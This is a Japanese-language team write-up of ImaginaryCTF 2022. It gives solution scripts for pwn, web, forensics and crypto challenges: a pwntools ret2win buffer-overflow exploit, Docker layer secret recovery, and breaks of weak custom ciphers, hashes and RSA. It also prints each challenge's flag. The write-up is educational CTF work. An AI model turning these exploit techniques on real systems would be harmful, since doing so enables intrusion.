この大会は2022/7/16 5:00(JST)~2022/7/19 5:00(JST)に開催されました。
今回もチームで参戦。結果は3950点で815チーム中35位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
問題にフラグが書いてあった。
ictf{w3lc0m3_t0_1m@g1nary_c7f_2022!}
Discord (Misc)
Discordに入り、#imaginaryctf-2022のトピックを見ると、フラグが書いてあった。
ictf{stay_tuned_after_the_ctf_for_daily_ctf_challenges!}
ret2win (Pwn)
BOFでwin関数をコールすればよい。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('ret2win.chal.imaginaryctf.org', 1337) else: p = process('./vuln') elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 24 payload += p64(win_addr) for _ in range(3): data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) for _ in range(3): data = p.recvline().rstrip().decode() print(data)
実行結果は以下の通り。
[+] Opening connection to ret2win.chal.imaginaryctf.org on port 1337: Done [*] '/mnt/hgfs/Shared/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) == proof-of-work: disabled == Welcome to ret2win! Right now I'm going to read in input. b'AAAAAAAAAAAAAAAAAAAAAAAA\xd6\x11@\x00\x00\x00\x00\x00' Can you overwrite the return address? Returning to 0x4011d6... ictf{c0ngrats_on_pwn_number_1_9b1e2f30} [*] Closed connection to ret2win.chal.imaginaryctf.org port 1337
rooCookie (Web)
HTMLソースを見ると、以下のスクリプトがある。
<script> function createToken(text) { let encrypted = ""; for (let i = 0; i < text.length; i++) { encrypted += ((text[i].charCodeAt(0)-43+1337) >> 0).toString(2) } document.cookie = encrypted } document.cookie = "token=101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000" </script>
以上から、暗号化前の文字列を割り出す。
#!/usr/bin/env python3 token = '101100000111011000000110101110011101100000001010111110010101101111101011110111010111001110101001011101001100001011000000010101111101101011111011010011000010100101110101001101001010010111010101111110101011011111011000000110110000001101100001011010111110110110000000101011100101010100101110100110000101011101111010111000110110000010101011101001011000100110101110110101001111101010111111010101000001101011011011010100010110101110110101011011111010100010110101101101101100001011010110111110101000011101011111001010100010110101101101101100000101010011111010100111110101011011011010111000010101000010101011100101011000101110100110000' flag = '' enc = '' for i in range(len(token)): enc += token[i] code = int(enc, 2) - 1337 + 43 if code > 31 and code < 127: flag += chr(code) enc = '' print(flag)
実行結果は以下の通り。
username="roo" & password="ictf{h0p3_7ha7_wa5n7_t00_b4d}"
ictf{h0p3_7ha7_wa5n7_t00_b4d}
Ogre (Forensics)
$ sudo docker pull ghcr.io/iciaran/ogre:ctf ctf: Pulling from iciaran/ogre 2408cc74d12b: Pull complete 8283096dcba0: Pull complete a3e654983208: Pull complete 024c9a3b77d6: Pull complete e941c022b0bd: Pull complete cbc989e5dd36: Pull complete 4f4fb700ef54: Pull complete 993516637bdd: Pull complete 6e4e19988c74: Pull complete 4ed7e9ba3a5b: Pull complete b492bc1f2140: Pull complete e53efe2289f6: Pull complete 49031d8315d0: Pull complete 4eecd2f17f75: Pull complete fc9178609e99: Pull complete c4f33748bee0: Pull complete Digest: sha256:e76cc2da53d3a446d6803deb2634d0e42ad957947eb649f706f2cc5b2bd92277 Status: Downloaded newer image for ghcr.io/iciaran/ogre:ctf ghcr.io/iciaran/ogre:ctf $ sudo docker history ghcr.io/iciaran/ogre:ctf IMAGE CREATED CREATED BY SIZE COMMENT 0d847c76be92 4 weeks ago CMD ["node" "server.js"] 0B buildkit.dockerfile.v0 <missing> 4 weeks ago EXPOSE map[8080/tcp:{}] 0B buildkit.dockerfile.v0 <missing> 4 weeks ago COPY quotes.json quotes.json # buildkit 5.46kB buildkit.dockerfile.v0 <missing> 4 weeks ago COPY public public # buildkit 6.01kB buildkit.dockerfile.v0 <missing> 4 weeks ago COPY views views # buildkit 634B buildkit.dockerfile.v0 <missing> 4 weeks ago COPY server.js server.js # buildkit 441B buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c npm install ejs # buildkit 2.26MB buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c rm /tmp/secret # buildkit 0B buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c npm install express # buildkit 5.86MB buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c echo aWN0ZntvbmlvbnNfaGF2ZV9s… 61B buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c npm init -y # buildkit 2.35kB buildkit.dockerfile.v0 <missing> 4 weeks ago WORKDIR /app/ogre 0B buildkit.dockerfile.v0 <missing> 4 weeks ago RUN /bin/sh -c mkdir ogre # buildkit 0B buildkit.dockerfile.v0 <missing> 4 weeks ago WORKDIR /app 0B buildkit.dockerfile.v0 <missing> 4 weeks ago /bin/sh -c #(nop) CMD ["node"] 0B <missing> 4 weeks ago /bin/sh -c #(nop) ENTRYPOINT ["docker-entry… 0B <missing> 4 weeks ago /bin/sh -c #(nop) COPY file:4d192565a7220e13… 388B <missing> 4 weeks ago /bin/sh -c apk add --no-cache --virtual .bui… 7.77MB <missing> 4 weeks ago /bin/sh -c #(nop) ENV YARN_VERSION=1.22.19 0B <missing> 4 weeks ago /bin/sh -c addgroup -g 1000 node && addu… 161MB <missing> 4 weeks ago /bin/sh -c #(nop) ENV NODE_VERSION=18.4.0 0B <missing> 7 weeks ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B <missing> 7 weeks ago /bin/sh -c #(nop) ADD file:8e81116368669ed3d… 5.53MB $ sudo docker save ghcr.io/iciaran/ogre:ctf > layers.tar
tarを展開して、さらに各フォルダにあるtarを展開してみていく。
layers/2363bcd31aa3fca27db926db77d42569a7deb98109086e80bba914a3fad8070b/layer/tmp/secret
という秘密情報と思われるファイルを見つけた。中には以下のように書いてある。
aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo=
base64デコードする。
$ echo aWN0ZntvbmlvbnNfaGF2ZV9sYXllcnNfaW1hZ2VzX2hhdmVfbGF5ZXJzfQo= | base64 -d ictf{onions_have_layers_images_have_layers}
ictf{onions_have_layers_images_have_layers}
unpuzzled4 (Forensics)
Discordに入り、unpuzzler7#6451のプロフィールを見ると、こう書いてある。
Unpuzzling people, one at a time. WAR ON PUZZLES! Check out some cool pictures! https://www.flickr.com/unpuzzler7
https://www.flickr.com/unpuzzler7にアクセスしてみる。そこにrickとskyの写真がある。ここではskyの写真をオリジナルサイズでダウンロードし、sky.pngにリネームし、EXIFを見てみる。
$ exiftool sky.png ExifTool Version Number : 10.80 File Name : sky.png Directory : . File Size : 544 kB File Modification Date/Time : 2022:07:17 11:10:14+09:00 File Access Date/Time : 2022:07:17 11:13:55+09:00 File Inode Change Date/Time : 2022:07:17 11:10:14+09:00 File Permissions : rwxrwxrwx File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1261 Image Height : 805 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced SRGB Rendering : Perceptual Gamma : 2.2 Pixels Per Unit X : 3779 Pixels Per Unit Y : 3779 Pixel Units : meters City : ictf{1mgur_d03sn't_cl3ar_3xif} Application Record Version : 4 Image Size : 1261x805 Megapixels : 1.0
Cityにフラグが設定されていた。
ictf{1mgur_d03sn't_cl3ar_3xif}
bsv (Forensics)
"BEE"区切りのbsvというフォーマットを作ったらしい。区切り文字を","に変えて、csvとしてファイル保存する。
#!/usr/bin/env python3 with open('flag.bsv', 'rb') as f: data = f.read() bsv = data.split(b'BEE') csv = b','.join(bsv) with open('flag.csv', 'wb') as f: f.write(csv)
Excelでこのcsvを開き縮小すると、文字の入っているセルでフラグに見える。
ICTFBUZZ_BUZZ_B2F13A
問題文によると、フラグ形式が書いてあり、{}を追加して、英小文字にする必要がある。
ictf{buzz_buzz_b2f13a}
improbus (Forensics)
corrupted.pngをバイナリエディタで見ると、ところどころ"\xc2"や"\xc3"が混ざっている。単純に削除してみたが、pngとして開くことができない。IHDRチャンクのCRCなども合わない。sRGBチャンクのデータ部は1バイトしかないので、正しいCRCがわかりやすい。比較しながら、確認してみると、以下のようにすれば良さそうということがわかった。
"\xc2": 単純に削除する。 "\xc3": 次のバイトのASCIIコードに0b01000000をプラスする。
#!/usr/bin/env python3 with open('corrupted.png', 'rb') as f: data = f.read() data = data.replace(b'\xc2', b'') out = b'' index = 0 while index < len(data): if data[index] == 0xc3: index += 1 d = data[index] + 0x40 out += bytes([d]) else: out += bytes([data[index]]) index += 1 with open('flag.png', 'wb') as f: f.write(out)
復元した画像にフラグが書いてあった。
ictf{fixed!_3f5ce751}
otp (Crypto)
$ nc otp.chal.imaginaryctf.org 1337 == proof-of-work: disabled == Welcome to my one time pad as a service! Enter plaintext: FLAG Encrypted flag: 9c9c8b9d248cda821092dddb4cda9bbe86c1b98a8b9bb7269589e0d58ed6859109d6123e109cd7a6150ba02f46cedcb3f4 Enter plaintext: abcdefgh Encrypted message: 9ec98dab3b9d1cc0 Enter plaintext: ABCDEFGH Encrypted message: 9295b9fb1b3faab3 Enter plaintext:
サーバの処理概要は以下の通り。
・seed: 0以上100000000以下のランダム値 ・以下、繰り返し ・inp: 入力 ・inpが"FLAG"の場合 ・xor(flag, secureRand(len(flag)*8, seed))を16進数で表示 ・secureRand(len(flag)*8, seed) ・jumbler: 2400個の要素の固定配列 ・out = '' ・state = seed % 2400 ・len(flag)*8回、以下繰り返し ・jumbler[state]の数値の先頭1桁目が4以下の場合、out += "1" ・jumbler[state]の数値の先頭1桁目が5以上の場合、out += "0" ・state: jumblerからランダムに3つの値を取り、先頭を結合した値→数値化 ・inpが"FLAG"以外の場合 ・xor(inp, secureRand(len(inp)*8, seed))を16進数で表示
2回目以降のsecureRand関数で使われるstateは0を含まない3桁の数値になる。確認したところ、その数値でjumbler[state]の数値の先頭1桁目が5より小さい場合は501個、大きい場合は228個。つまりoutには"1"が結合される可能性がかなり高い。
FLAGの暗号化を何回も試し、ビットごとに頻度の高いデータを反転することによってフラグを求める。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def get_enc_flag(s): data = recvuntil(s, b': ') print(data + 'FLAG') s.sendall(b'FLAG\n') data = recvuntil(s, b'\n').rstrip() print(data) hex_enc = data.split(': ')[1] l = len(hex_enc) * 4 enc = bin(int(hex_enc, 16))[2:].zfill(l) return enc s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('otp.chal.imaginaryctf.org', 1337)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) enc = get_enc_flag(s) count = [0] * len(enc) ROUND = 256 for _ in range(ROUND): enc = get_enc_flag(s) for i in range(len(enc)): if enc[i] == '1': count[i] += 1 bin_flag = '' for i in range(len(count)): if count[i] > ROUND // 2: bin_flag += '0' else: bin_flag += '1' flag = long_to_bytes(int(bin_flag, 2)).decode() print(flag)
実行結果は以下の通り。
== proof-of-work: disabled == Welcome to my one time pad as a service! Enter plaintext: FLAG Encrypted flag: f71e8b99839caafda9b5851b8cba92db9a20bc2e8ac41793300624a31082a099facc6aa361af8e14959862ce668ed70ae4 Enter plaintext: FLAG Encrypted flag: 909e8bbe9c0d9ac95930ef19800487969b8896faae948695d0ce19cb88a3b29c8d94ae92ea9e8cc33452e3ced7c4251b55 Enter plaintext: FLAG Encrypted flag: e2d6cc9555dd08db89b495af0da09f9bdcccd89f0add998e118c25db1e438ad9c89f8a5ba000de509a8ac3c6c6c158860d : : Enter plaintext: FLAG Encrypted flag: 94dce3d8a7ddcab004c09513a1b0d3fed0809c0c999d97aa913c84b0dcae0701449e38c85380b65cdd96a5d7478fd285e5 Enter plaintext: FLAG Encrypted flag: 8e919f598d9fc842d9b30fc926e192dd89a038968e5ead12325da0dafc97a1999498c49309bc9f30b0aa801cb46ce720cb Enter plaintext: FLAG Encrypted flag: 829153586018828571d6cdb68c2a79badcbb3437073c129ee342628796cb03be8fde931beaae86b84bbaa19dd2e08002b9 ictf{benfords_law_catching_tax_fraud_since_1938}
ictf{benfords_law_catching_tax_fraud_since_1938}
hash (Crypto)
$ nc hash.chal.imaginaryctf.org 1337 == proof-of-work: disabled == Can you guess my passwords? --------ROUND 0-------- sha42(password) = 6e3f5d7c4e415e6e77687e11153a7b2778432b244b hex(password) =
サーバの処理概要は以下の通り。
・config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] ・50回以下繰り返し ・password: 15~20文字のprintable文字列 ・hash: sha42(password) ・hash表示 ・guess: passwordをhexで入力→デコード ・sha42(guess) と hashが一致していなかったら終了 ・フラグを表示
sha42は計算が複雑なので、条件を満たすパスワードをz3で解く。その際、パスワードの長さは常に21にしておけば、条件を満たすパスワードが存在する。
#!/usr/bin/env python3 import socket from z3 import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) config = [[int(a) for a in n.strip()] for n in open("jbox.txt").readlines()] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('hash.chal.imaginaryctf.org', 1337)) data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) for trial in range(50): data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data) hash = data.split(' ')[-1] out_hash = [int(hash[i:i+2], 16) for i in range(0, len(hash), 2)] passlen = 21 x = [BitVec('x%d' % i, 8) for i in range(passlen)] slv = Solver() out = [0] * 21 for round in range(42): for c in range(passlen): if config[((c // 21) + round) % len(config)][c % 21] == 1: out[(c + round) % 21] ^= x[c] for i in range(21): slv.add(out[i] == out_hash[i]) r = slv.check() assert r == sat m = slv.model() password = '' for i in range(21): password += format(m[x[i]].as_long(), '02x') data = recvuntil(s, b'= ') print(data + password) s.sendall(password.encode() + b'\n') data = recvuntil(s, b'\n').rstrip() print(data) data = recvuntil(s, b'\n').rstrip() print(data)
実行結果は以下の通り。
== proof-of-work: disabled == Can you guess my passwords? --------ROUND 0-------- sha42(password) = 115918315d79753602586e29630c2910616a6d281e hex(password) = 2da57b38679fb43ebb0e5672423b3cea21da94004e Correct! --------ROUND 1-------- sha42(password) = 5020211f23016f75626b2f376712723e5632312144 hex(password) = 54d40759408bca27ed455f3c480972a929f4e30036 Correct! --------ROUND 2-------- sha42(password) = 260d7b39116444326f2e253f28560034326c4a783f hex(password) = d88dbac967e79c20b2d0256fba2e99cf0034cf00fb Correct! --------ROUND 3-------- sha42(password) = 506d3807763c51460578633017662f027606544e49 hex(password) = 76ae127141e89a479639426d1c2b60b26dc3b63840 Correct! : : --------ROUND 47-------- sha42(password) = 3569576a38127617451217517d6d79265a0c76390d hex(password) = 852db59d283e526779ab4d3f8a64b85156fc0d00f1 Correct! --------ROUND 48-------- sha42(password) = 0d3a5b5545011679692c326a70042b072864542c54 hex(password) = 61281c192e357124144f513740617d6b7e3a1c0010 Correct! --------ROUND 49-------- sha42(password) = 31181c43564a1a71240c7a1a7c1c7d1466641e796f hex(password) = 437b4c4d4f1c633b076e3a3c15090a3a5756550031 Correct! Congrats! Your flag is: ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}
ictf{pls_d0nt_r0ll_y0ur_0wn_hashes_109b14d1}
stream (Crypto)
Ghidraでデコンパイルする。
undefined8 main(int param_1,undefined8 *param_2) { ulong uVar1; FILE *pFVar2; long lVar3; char *__s; long lVar4; int iVar5; int __n; if (2 < param_1) { uVar1 = strtol((char *)param_2[2],(char **)0x0,10);★KEYに数値を指定し、uVar1にlong値として変換 pFVar2 = fopen((char *)param_2[1],"r");★[FILE] fseek(pFVar2,0,2);★ファイル終端にポイント lVar3 = ftell(pFVar2);★lVar3 = 42(ファイルサイズ) lVar4 = lVar3 + 7; if (-1 < lVar3) { lVar4 = lVar3;★lVar4 = 42 } iVar5 = (int)(lVar4 >> 3) * 8;★lVar5 = 40 __n = iVar5 + 8;★__n = 48 fseek(pFVar2,0,0);★ファイル先頭にポイント fclose(pFVar2);★★←バグってる?? __s = (char *)malloc((long)__n); fgets(__s,__n,pFVar2);★__s: [FILE]の内容 iVar5 = iVar5 + 0xf; if (-1 < __n) { iVar5 = __n; ★iVar5 = 48 } if (7 < __n) { lVar4 = 0; do { *(ulong *)(__s + lVar4 * 8) = *(ulong *)(__s + lVar4 * 8) ^ uVar1;★8バイトごとにXOR(uVar1は鍵) uVar1 = uVar1 * uVar1;★新しい鍵 lVar4 = lVar4 + 1; } while ((int)lVar4 < iVar5 >> 3); } pFVar2 = fopen((char *)param_2[3],"w"); fwrite(__s,(long)__n,1,pFVar2); fclose(pFVar2); return 0; } __printf_chk(1,"[*] Usage: %s [FILE] [KEY] [OUT]\n",*param_2); /* WARNING: Subroutine does not return */ exit(-1); }
フラグは"ictf{"で始まることを前提にブルートフォースで鍵を求め、フラグを求める。このとき、フラグは42バイトであることがわかっているので、最後のブロックの後半6バイトは、最後のブロックの鍵(数値)の先頭48ビットであることも条件として利用する。
#!/usr/bin/env python3 def is_printable(s): for c in s: if c < 32 or c > 126: if c != 10 and c != 0: return False return True with open('out.txt', 'rb') as f: enc = f.read() blocks = [enc[i:i+8] for i in range(0, len(enc), 8)] pre_head = b'ictf{' pt0_base = int.from_bytes(pre_head, byteorder='little') ct0 = int.from_bytes(blocks[0], byteorder='little') for k in range(256**3): pt0 = pt0_base + k * 256**5 key = pt0 ^ ct0 try_key = key for _ in range(5): try_key = (try_key * try_key) % (256**8) last_block = try_key.to_bytes(8, byteorder='little') if last_block[2:] != blocks[-1][2:]: continue flag = b'' for i in range(6): ct = int.from_bytes(blocks[i], byteorder='little') pt = ct ^ key flag += pt.to_bytes(8, byteorder='little') key = (key * key) % (256**8) if is_printable(flag): flag = flag.rstrip(b'\x00').rstrip().decode() print(flag) break
ictf{y0u_rec0vered_my_keystream_901bf2e4}
cbc (Crypto)
暗号処理の概要は以下の通り。
・key, ct = cbc_encrypt(msg=[flagを3回結合したもの]) ・msg: msgをパディング ・msg: msgの16バイトずつの配列 ・key: ランダム16バイト文字列 ・out = [] ・msgの各ブロックに以下の処理を実行 ・next: blockをAES-ECB暗号 ・outにnextを追加 ・key = next ・out: 各要素を結合 ・key, outを返却 ・ct出力
2ブロック目以降は鍵がわかっているので、2ブロック目以降を復号し、フラグ部分を取り出す。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import re ct = b"\xa2\xb8 <\xf2\x85\xa3-\xd1\x1aM}\xa9\xfd4\xfag<p\x0e\xb7|\xeb\x05\xcbc\xc3\x1e\xc3\xefT\x80\xd3\xa4 ~$\xceXb\x9a\x04\xf0\xc6\xb6\xd6\x1c\x95\xd1(O\xcfx\xf2z_\xc3\x87\xa6\xe9\x00\x1d\x9f\xa7\x0bm\xca\xea\x1e\x95T[Q\x80\x07we\x96)t\xdd\xa9A 7dZ\x9d\xfc\xdbA\x14\xda9\xf3\xeag\xe3\x1a\xc8\xad\x1cnL\x91\xf6\x83'\xaa\xaf\xf3i\xc0t=\xcd\x02K\x81\xb6\xfa.@\xde\xf5\xaf\xa3\xf1\xe3\xb4?\xf9,\xb2:i\x13x\xea1\xa0\xc1\xb9\x84" ct = [ct[i:i+16] for i in range(0, len(ct), 16)] msg = b'' for i in range(1, len(ct)): key = ct[i - 1] cipher = AES.new(key, AES.MODE_ECB) pt = cipher.decrypt(ct[i]) msg += pt msg = unpad(msg, 16) m = re.search(b'(ictf\{.+\})', msg) flag = m.group(1).decode() print(flag)
ictf{i_guess_i_implemented_cbc_wrong_02b413a9}
Secure Encoding: Hex (Crypto)
hex文字列がシャッフルされ、暗号化されている。フラグが"ictf{"から始まり、"}"で終わることを前提に対応表を作り、デコードする。あとは埋まっていない箇所を推測しながら、デコードする。
#!/usr/bin/env python3 def recover_hex(d, ct): pt = '' for c in ct: if c in d: pt += d[c] else: print('[+] unknown:', c) pt += '*' return pt def recover_flag(pt): flag = '' for i in range(0, len(pt), 2): p = pt[i:i+2] if '*' in p: flag += '*' else: flag += chr(int(p, 16)) return flag with open('out.txt', 'r') as f: ct = f.read() pt_head = b'ictf{'.hex() pt_tail = b'}'.hex() ct_part = ct[:len(pt_head)] + ct[-len(pt_tail):] pt_part = pt_head + pt_tail d = {} for i in range(len(ct_part)): if ct_part[i] not in d: d[ct_part[i]] = pt_part[i] else: assert d[ct_part[i]] == pt_part[i] pt = recover_hex(d, ct) print('[+] pt:', pt) flag = recover_flag(pt) print('[+] flag:', flag) ## guess ## d['c'] = '5' d['f'] = 'f' d['7'] = 'e' d['9'] = 'c' d['2'] = '1' d['3'] = '2' print('[+] d:', d) pt = recover_hex(d, ct) print('[+] pt:', pt) flag = recover_flag(pt) print('[*] flag:', flag)
実行結果は以下の通り。
[+] unknown: 9 [+] unknown: 2 [+] unknown: 3 [+] unknown: c [+] unknown: f [+] unknown: 3 [+] unknown: 2 [+] unknown: c [+] unknown: c [+] unknown: f [+] unknown: c [+] unknown: 7 [+] unknown: f [+] unknown: 7 [+] unknown: c [+] unknown: f [+] pt: 696374667b6d696*69746*7*79**677*6*646***6*6*636*64696*67**6674777d [+] flag: ictf{mi*it**y*g**d****c*di*g*ftw} [+] d: {'0': '6', 'd': '9', 'b': '3', '1': '7', '8': '4', 'e': 'b', '6': 'd', 'c': '5', 'f': 'f', '7': 'e', '9': 'c', '2': '1', '3': '2'} [+] pt: 696374667b6d696c69746172795f67726164655f656e636f64696e675f6674777d [*] flag: ictf{military_grade_encoding_ftw}
ictf{military_grade_encoding_ftw}
huge (Crypto)
RSA暗号だが、p, qは200個以下の10ビット素数の積になっているので、Multi prime RSA暗号として復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * from sympy import * with open('out.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' = ')[1]) e = int(params[1].split(' = ')[1]) c = int(params[2].split(' = ')[1]) fac = factorint(n) phi = 1 for k, v in fac.items(): phi *= (k - 1) * pow(k, v - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
ictf{sm4ll_pr1mes_are_n0_n0_9b129443}
emojis (Crypto)
絵文字は下向きと上向きの指の絵なので、0, 1に置き換え、デコードする。
#!/usr/bin/env python3 with open('emojis.txt', 'rb') as f: enc = f.read() enc = enc.replace(b'\xf0\x9f\x91\x8e', b'0') enc = enc.replace(b'\xf0\x9f\x91\x8d', b'1') flag = '' for i in range(0, len(enc), 8): flag += chr(int(enc[i:i+8], 2)) print(flag)
ictf{enc0ding_is_n0t_encrypti0n_1b2e0d43}